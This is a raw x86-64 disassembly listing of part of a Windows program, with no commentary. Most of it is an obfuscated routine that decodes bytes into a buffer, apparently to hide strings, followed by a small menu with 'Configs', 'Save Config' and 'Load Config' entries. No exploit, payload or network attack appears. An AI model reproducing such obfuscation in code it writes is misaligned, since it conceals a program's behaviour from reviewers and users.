add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x65
add dil, dl
jmp 0x14008f07c
lea edx, [r10 + 0x66]
movzx eax, dl
and al, r9b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008f6dd
lea ecx, [r10 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
jmp 0x14008f6af
lea edx, [r10 - 0x56]
movzx eax, dl
and al, r9b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x14008f6af
movzx r11d, r10b
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
jmp 0x14008f671
lea edx, [r10 - 0x12]
movzx eax, dl
and al, r9b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14008ece3
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14008ece3
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5e
movzx r11d, r10b
jmp 0x14008f601
lea rax, [r8 + 4]
cmp rbx, rax
jae 0x14008f23e
lea ecx, [r10 + 0x2f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x49
jmp 0x14008f0f2
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008f27c
lea edx, [r10 - 0x4a]
movzx eax, dl
and al, r9b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x3e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008ece3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008f2a7
lea ecx, [r10 + 0x2e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x42
add rbx, r8
jmp 0x14008f6af
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008f2d7
movzx r11d, r10b
lea edx, [r11 - 0x74]
movzx eax, dl
and al, r9b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008f671
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008f0f2
lea ecx, [r10 - 0x16]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x66
dec r10
inc r10
jmp 0x14008ece3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008f332
movzx r11d, r10b
lea edx, [r11 - 0x6f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 9
jmp 0x14008f5fe
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008f361
lea ecx, [r10 + 0x4d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x1b
dec r10
inc r10
jmp 0x14008ece3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008f38d
lea ecx, [r10 + 9]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x3f
add rbx, r8
jmp 0x14008f6af
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008f3b6
lea ecx, [r10 + 0x67]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x2f
jmp 0x14008f6af
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008f3e2
lea edx, [r10 - 0x3b]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x63
add dil, dl
jmp 0x14008f6dd
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14008f07c
lea ecx, [r10 - 0x7f]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x79
movzx eax, byte [rbp + r10 + 0x3e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008ece3
jne 0x14008f454
lea edx, [r10 + 0x6c]
movzx eax, r9b
and al, dl
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x3e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008ece3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008f480
lea edx, [r10 + 0x28]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x18
add dil, dl
jmp 0x14008f6dd
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008f4ac
lea edx, [r10 - 0x7a]
movzx eax, r9b
and al, dl
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008f6af
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008f4d9
movzx r11d, r10b
lea edx, [r11 + 0x42]
movzx eax, r9b
and al, dl
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14008f66e
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008f0ad
lea edx, [r10 - 2]
movzx eax, r9b
and al, dl
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x14008ece3
mov byte [rbp + r10 + 0x3e0], dil
inc r10
jmp 0x14008ece3
movzx r11d, r10b
lea edx, [r11 + 0x18]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r10 + 0x3e0]
sub cl, al
add cl, 0x2c
lea edi, [rcx + rcx]
jmp 0x14008f66e
lea ecx, [r10 + 0x76]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 0x3a]
jmp 0x14008f6dd
lea ecx, [r10 + 0x29]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x1f
movzx eax, byte [rbp + r10 + 0x3e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008ece3
lea edx, [r10 + 0x6d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 5
add dil, dl
jmp 0x14008f6dd
lea ecx, [r10 + 0xf]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x69
jmp 0x14008f6af
lea ecx, [r10 - 0xb]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x4d
dec r10
inc r10
jmp 0x14008ece3
movzx r11d, r10b
lea edx, [r11 + 0x39]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x71
add dil, dl
sub r11b, 0x17
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x5f
add r9b, r11b
mov byte [rbp + r10 + 0x3e0], r9b
inc r8
dec r10
inc r10
jmp 0x14008ece3
lea ecx, [r10 + 0x1f]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x27
inc r8
dec r10
inc r10
jmp 0x14008ece3
movzx r11d, r10b
lea edx, [r11 + 0x63]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x4b
add dil, dl
add r11b, 0x47
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0xf
add r9b, r11b
add r9b, dil
mov byte [rbp + r10 + 0x3e0], r9b
add rbx, r8
jmp 0x14008f6af
lea rcx, [r10 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0x6f
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14008ece3
lea rax, [r10 + r12]
movzx r9d, dl
and dl, al
add dl, dl
sub al, dl
lea edi, [r9 + rax]
inc dil
lea edx, [r10 - 0x5b]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x7d
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x3e0], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x3e0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x3e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008ece3
lea rcx, [r10 + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0x25
movzx eax, byte [rbp + r10 + 0x3e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008ece3
add r10b, 0x6b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x13
jmp 0x14008ece0
add r10b, 0xd
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5b
jmp 0x14008ecc7
lea rcx, [rbp + 0x170cf74]
jmp 0x14008f7d3
lea rcx, [rbp + 0xa4d0a3]
jmp 0x14008f7d3
lea rcx, [rbp + 0x3e0]
xor r8d, r8d
lea rdx, [0x1401dc868]
call fcn.14003a2e0
test al, al
je 0x14008f82c
movss xmm0, dword [0x1401dc868]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401dc2b0], eax
movss xmm1, dword [0x1401dc86c]
mulss xmm1, xmm6
cvttss2si eax, xmm1
mov dword [0x1401dc2b4], eax
movss xmm0, dword [0x1401dc870]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401dc2b8], eax
call fcn.14000c740
call fcn.14000cf10
call fcn.140009f90
cmp dword [0x1401de2cc], 3
jne 0x14008f8e1
mov dword [rsp + 0x74], 0x42aa0000
mov dword [rsp + 0x78], 0x428c0000
lea rcx, [rsp + 0x74]
call fcn.14001a180
mov dword [rbp - 0x3c], 0x438d0000
mov dword [rbp - 0x38], 0x43c10000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x3c]
lea rcx, str.Configs
call fcn.1400097c0
mov dword [rbp - 4], 0
mov dword [rbp], 0
lea rdx, [rbp - 4]
lea rcx, str.Save_Config
call fcn.140038810
test al, al
je 0x14008f8b1
call fcn.1400502d0
mov dword [rbp + 4], 0
mov dword [rbp + 8], 0
lea rdx, [rbp + 4]
lea rcx, str.Load_Config
call fcn.140038810
test al, al
je 0x14008f8dc
call fcn.14004ff40
call fcn.14000c740
call fcn.14000cf10
nop
lea rcx, [rbp + 0x680]
call fcn.1400435c0
call fcn.14000c460
nop
mov rdx, qword [rbp + 0x678]
cmp rdx, 0xf
jbe 0x14008f949
inc rdx
mov rcx, qword [rbp + 0x660]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14008f944
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14008f944
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14013d7b8
mov rcx, qword [rbp + 0x6b8]
xor rcx, rsp
call fcn.14013dc30
lea r11, [rsp + 0x830]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm10, xmmword [r11 - 0x40]
movaps xmm11, xmmword [r11 - 0x50]
movaps xmm12, xmmword [r11 - 0x60]
movaps xmm13, xmmword [r11 - 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret